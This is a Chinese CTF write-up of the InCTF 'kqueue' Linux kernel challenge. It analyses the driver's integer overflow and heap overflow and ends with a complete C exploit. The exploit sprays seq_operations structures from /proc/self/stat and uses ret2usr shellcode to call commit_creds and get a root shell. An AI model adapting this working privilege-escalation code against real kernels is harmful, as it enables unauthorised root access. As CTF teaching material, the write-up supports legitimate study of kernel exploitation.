0x00.一切开始之前
InCTF 国际赛据称为印度的“强网杯”,比赛时笔者所在的战队没有报名所以未能参加,赛后笔者看到了Scupax0s 师傅的 WP后把其中一道kernel pwn简单复现了一下,感觉还是挺不错的一道 kernel pwn 入门题
原题下载地址在这里,
这道题的文件系统用 Buildroot 进行构建,登入用户名为 ctf,密码为 kqueue,笔者找了半天才在官方 GitHub 里的 Admin 中打远程用的脚本找到的这个信息…
还有个原因不明的问题,本地重打包后运行根目录下 init 时的 euid 为 1000,笔者只好拉一个别的 kernel pwn 的文件系统过来暂时顶用…
0x01.题目分析
保护分析
查看启动脚本,只开启了 kaslr 保护,没开 KPTI 也没开 smap&smep,还是给了我们 ret2usr 的机会的
#!/bin/bash
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic
源码分析
题目给出了源代码,免去了我们逆向的麻烦
在 kqueue.h
中只定义了一个 ioctl 函数
static long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static struct file_operations kqueue_fops = {.unlocked_ioctl = kqueue_ioctl};
ioctl 的函数定义位于 kqueue.c
中,如下:
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long result;
request_t request;
mutex_lock(&operations_lock);
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}
switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}
我们要传入的结构体应当为 request_t
类型,如下:
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
在 ioctl 中定义了比较经典的增删改查操纵,下面逐个分析
*err
笔者发现在其定义的一系列函数当中都有一系列的检查,若检查不通过则会调用 err
函数,如下:
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}
也就是说所有的检查没有任何的实际意义,哪怕不通过检查也不会阻碍程序的运行,经笔者实测确乎如此
主要是进行队列的创建,限制了队列数量与大小
static noinline long create_kqueue(request_t request){
long result = INVALID;
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;
/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}
其中一个 queue 结构体定义如下,大小为 0x18:
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;
我们有一个全局指针数组保存分配的 queue
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};
在这里用到了 gcc 内置函数 __builtin_umulll_overflow
,主要作用就是将前两个参数相乘给到第三个参数,发生溢出则返回 true,__builtin_saddll_overflow
与之类似不过是加法
那么这里虽然 queue 结构体的成员数量似乎是固定的,但是在 kmalloc 时传入的 size 为 ((request.max_entry + 1) * sizeof(queue_entry)) + sizeof(queue)
,其剩余的空间用作 queue_entry 结构体,定义如下:
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};
在这里存在一个整型溢出漏洞:如果在 __builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space)
中我们传入的 request.max_entries
为 0xffffffff
,加一后变为0,此时便能通过检测,但 space 最终的结果为0,从而在后续进行 kmalloc 时便只分配了一个 queue 的大小,但是存放到 queue 的 max_entries 域的值为 request.max_entries
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
这里有一个移动指针的代码看得笔者比较疑惑,因为在笔者看来可以直接写作 (queue_entry *)(queue + 1)
,不过阿三的代码懂的都懂
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
在分配 queue->data 时给 kmalloc 传入的大小为 request.data_size
,限制为 0x20
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
接下来会为每一个 queue_entry 的 data 域都分配一块内存,大小为 request.data_size
,且 queue_entry 从低地址向高地址连接成一个单向链表
uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
在最后会在 kqueue 数组中找一个空的位置把分配的 queue 指针放进去
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
常规的删除功能,不过这里有个 bug 是先释放后再清零,笔者认为会把 free object 的next 指针给清掉,有可能导致内存泄漏?
static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");
/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");
kfree(queue);
memset(queue,0,queue->queue_size);
kqueues[request.queue_idx] = NULL;
return 0;
}
主要是从用户空间拷贝数据到指定 queue_entry->size,如果给的 entry_idx为 0 则拷到 queue->data
static noinline long edit_kqueue(request_t request){
/* Check the idx of the kqueue */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if the kqueue exists at that idx */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] kqueue does not exist");
/* Check the idx of the kqueue entry */
if(request.entry_idx > queue->max_entries)
err("[-] Invalid kqueue entry_idx");
/* Get to the kqueue entry memory */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* Check for the existence of the kqueue entry */
exists = false;
uint32_t i=1;
for(i=1;i<queue->max_entries+1;i++){
/* If kqueue entry found , do the necessary */
if(kqueue_entry && request.data && queue->data_size){
if(kqueue_entry->idx == request.entry_idx){
validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
exists = true;
}
}
kqueue_entry = kqueue_entry->next;
}
/* What if the idx is 0, it means we have to update the main kqueue's data */
if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
validate(memcpy(queue->data,request.data,queue->data_size));
return 0;
}
if(!exists)
return NOT_EXISTS;
return 0;
}
这个功能主要是分配一块现有 queue->queue_size
大小的 object 然后把 queue->data 与其所有 queue_entries->data 的内容拷贝到上边,而其每次拷贝的字节数用的是我们传入的 request.data_size
,在这里很明显存在堆溢出
static noinline long save_kqueue_entries(request_t request){
/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");
queue *queue = validate(kqueues[request.queue_idx]);
/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");
/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");
/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;
/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}
这里有个全局数组标识一个 queue 是否 saved 了
bool isSaved[MAX_QUEUES] = {false};
0x02.漏洞利用
Step I.整数溢出
考虑到在 create_queue 中使用 request.max_entries + 1
来进行判定,因此我们可以传入 0xffffffff 使得其只分配一个 queue 和一个 data 而不分配 queue_entry的同时使得 queue->max_entries = 0xffffffff
,此时我们的 queue->queue_size 便为 0x18
Step II.堆溢出 + 堆喷射覆写 seq_operations 控制内核执行流
前面我们说到在 save_kqueue_entries() 中存在着堆溢出,而在该函数中分配的 object 大小为 queue->queue_size,即 0x18,应当从 kmalloc-32
中取,那么我们来考虑在该 slab 中可用的结构体
不难想到的是,seq_operations 这个结构体同样从 kmalloc-32
中分配,当我们打开一个 stat 文件时(如 /proc/self/stat
)便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h
当中,只定义了四个函数指针,如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter
指针,其默认值为 seq_read_iter()
函数,定义于 fs/seq_file.c
中,注意到有如下逻辑:
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流
我们可以使用堆喷射(heap spray)的手法在内核空间喷射足够多的 seq_operations 结构体从而保证我们能够溢出到其中之一
Step III.ret2usr + ret2shellcode
由于没有开启 smep、smap、kpti,故 ret2usr 的攻击手法在本题中是可行的,但是由于开启了 kaslr 的缘故,我们并不知道 prepare_kernel_cred 和 commit_creds 的地址,似乎无法直接执行 commit_creds(prepare_kernel_cred(NULL))
这里 ScuPax0s 师傅给出了一个美妙的解法:通过编写 shellcode 在内核栈上找恰当的数据以获得内核基址,执行commit_creds(prepare_kernel_cred(NULL))
并返回到用户态
Final Exploit
故最终的 exp 如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
typedef struct
{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
long dev_fd;
size_t root_rip;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void createQueue(uint32_t max_entries, uint16_t data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xDEADC0DE, &req);
}
void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd, 0xDAADEEEE, &req);
}
void deleteQueue(uint16_t queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd, 0xBADDCAFE, &req);
}
void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xB105BABE, &req);
}
void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}
int main(int argc, char **argv, char**envp)
{
long seq_fd[0x200];
size_t *page;
size_t data[0x20];
saveStatus();
root_rip = (size_t) getRootShell;
dev_fd = open("/dev/kqueue", O_RDONLY);
if (dev_fd < 0)
errExit("FAILED to open the dev!");
for (int i = 0; i < 0x20; i++)
data[i] = (size_t) shellcode;
createQueue(0xffffffff, 0x20 * 8);
editQueue(0, 0, data);
for (int i = 0; i < 0x200; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
saveQueue(0, 0, 0x40);
for (int i = 0; i < 0x200; i++)
read(seq_fd[i], data, 1);
}
运行即可提权到 root